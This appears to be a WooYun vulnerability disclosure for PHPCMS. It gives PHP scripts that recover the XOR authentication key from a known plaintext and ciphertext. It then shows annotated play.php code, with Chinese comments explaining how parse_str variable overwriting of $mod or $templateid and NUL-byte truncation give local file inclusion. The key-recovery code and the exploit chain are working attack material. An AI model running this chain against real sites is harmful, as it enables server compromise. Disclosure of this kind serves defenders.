WooYun.org

// include/global.func.php
function phpcms_auth($txt, $operation = 'ENCODE', $key = '')
{
	$key	= $key ? $key : $GLOBALS['phpcms_auth_key'];
	$txt	= $operation == 'ENCODE' ? $txt : base64_decode($txt);
	$len	= strlen($key);
	$code	= '';
	
	for($i=0; $i<strlen($txt); $i++){
		$k		= $i % $len;	//循环使用密钥字符串对字符串逐位进行异或
		$code  .= $txt[$i] ^ $key[$k];
	}
	$code = $operation == 'DECODE' ? $code : base64_encode($code);
	return $code;
}

// include/fields/downfile/output.inc.php
function downfile($field, $value)
{
	$contentid = $this->contentid;
	$mode = $this->fields[$field]['mode'];
	$result = '';
	if($mode)
	{
		$servers = $this->fields[$field]['servers'];
		$downloadtype = $this->fields[$field]['downloadtype'];
		$servers = explode("\n",$servers);
		foreach($servers AS $k=>$server)
		{
			$server = explode("|",$server);
			$serverurl = $server[1];
			$a_k = urlencode(phpcms_auth("i=$contentid&s=$serverurl&m=1&f=$value&d=$downloadtype", 'ENCODE', AUTH_KEY));
			$result .= "<a href='down.php?a_k=$a_k' target='_blank'>$server[0]</a>";
		}
	}
	else
	{
		$a_k = urlencode(phpcms_auth("i=$contentid&m=0&f=$value", 'ENCODE', AUTH_KEY));
		$result = "<a href='down.php?a_k=$a_k' target='_blank'>点击下载</a>";
	}
	return $result;
}

<?
$key="i=2&s=&m=0&f=uploadfile";
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';
$txt=base64_decode(urldecode($txt));
$len=strlen($key);
echo $len;
for($i=0;$i<strlen($key);$i++)
{
		$code  .= $txt[$i] ^ $key[$i];
}
echo $code;
?>

<?
$key="20110331121233766.zip&d=";
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';
$txt=base64_decode(urldecode($txt));
$tlen=strlen($txt);
$klen=strlen($key);
for($i=1;$i<strlen($key);$i++)
{
		$code  .= $txt[$tlen-$i-1] ^ $key[$klen-$i];
}
echo $code."\n";
echo $tlen."\n";
?>

/*
...
	$len	= strlen($key);
...
	for($i=0; $i<strlen($txt); $i++){
		$k		= $i % $len;
		$code  .= $txt[$i] ^ $key[$k];
	}
...
*/

//play.php
<?php
require dirname(__FILE__).'/include/common.inc.php';
if(!isset($a_k)) showmessage($LANG['illegal_parameters']);
//common.inc.php文件的全局变量机制已经将所有GPC数据导出为变量了
//所以$a_k=$_GET[$a_k];
$a_k = phpcms_auth($a_k, 'DECODE', AUTH_KEY); //这里是关键分析见上文
if(empty($a_k)) showmessage($LANG['illegal_parameters']);
unset($i, $m, $f, $p);
parse_str($a_k);	//parse_str处理解密后的$a_k将导致变量覆盖
					//通过覆盖下文的$mod 或者$templateid将触发本地文件包含漏洞
					//由于我们提交的密文会经过phpcms_auth函数中base64解密的，所以直接无视magic_quotes_gpc的影响而可以NULL字符截断
					//但是高版本的PHP修复了%00的攻击缺陷
					
if(isset($i)) $i = intval($i);
if(!isset($m)) showmessage($LANG['illegal_parameters']);
if(empty($f)) showmessage('地址失效');
if(preg_match('/\.php$/',$f) || strpos($f, ":\\")) showmessage('地址有误');
if(!$i || $m<0) showmessage($LANG['illegal_parameters']);
$allow_readpoint = 1;
// include global.fuc.php
/*
...
$M = $TEMP = array();
if(!isset($mod)) $mod = 'phpcms';
if($mod != 'phpcms')
{
	isset($MODULE[$mod]) or exit($LANG['module_not_exists']);
	$langfile = defined('IN_ADMIN') ? $mod.'_admin' : $mod;
	@include PHPCMS_ROOT.'languages/'.LANG.'/'.$langfile.'.lang.php';
	$M = cache_read('module_'.$mod.'.php');
}
...
*/
//此处通过上文的对$mod进行变量覆盖绕过下面的if语句
if($mod == 'phpcms')
{
	$contentid = $i;
	include 'admin/content.class.php';
	$content = new content;
	$data = $content->get($contentid);
	$readpoint = $data['readpoint'];
	$title = $data['title'];
	$keys = array_keys($data);
	if(in_array('groupids_view',$keys))
	{
		if($data['groupids_view'])
		{
			if(!$priv_group->check('contentid', $contentid, 'view', $_groupid)) showmessage('您没有查看权限');
		}
		if(in_array('readpoint', $keys))
		{
			$C = cache_read('category_'.$data['catid'].'.php');
			if($C['defaultchargepoint'] || !empty($readpoint))
			{
				$readpoint = $readpoint ? $readpoint : $C['defaultchargepoint'];
				$pay = load('pay_api.class.php', 'pay', 'api');
				if($C['repeatchargedays'])
				{
					if($pay->is_exchanged($contentid, $C['repeatchargedays']) === FALSE)
					{
						$allow_readpoint = 0;
					}
				}
				else
				{
					session_start();
					if($_SESSION['pay_contentid'] != $contentid) $allow_readpoint = 0;
				}
			}
		}
	}
}
$player = load('player.class.php');
$result = $player->get($p);
@extract($result);
$videourl = trim($f);
$code = str_replace('{$filepath}',$videourl, $code);
$code = str_replace('{$PHPCMS[siteurl]}', $PHPCMS['siteurl'], $code);
$code = str_replace('{$PHPCMS[sitename]}', $PHPCMS['sitename'], $code);
$templateid = $templateid ? $templateid : 'play';
include template($mod, $templateid);
/*
// include/global.fuc.php
// function template 起到一个连接字符串的作用
function template($module = 'phpcms', $template = 'index', $istag = 0)
{
	$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
	if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
	{
		require_once PHPCMS_ROOT.'include/template.func.php';
		template_compile($module, $template, $istag);
	}
	return $compiledtplfile;
}
*/
?>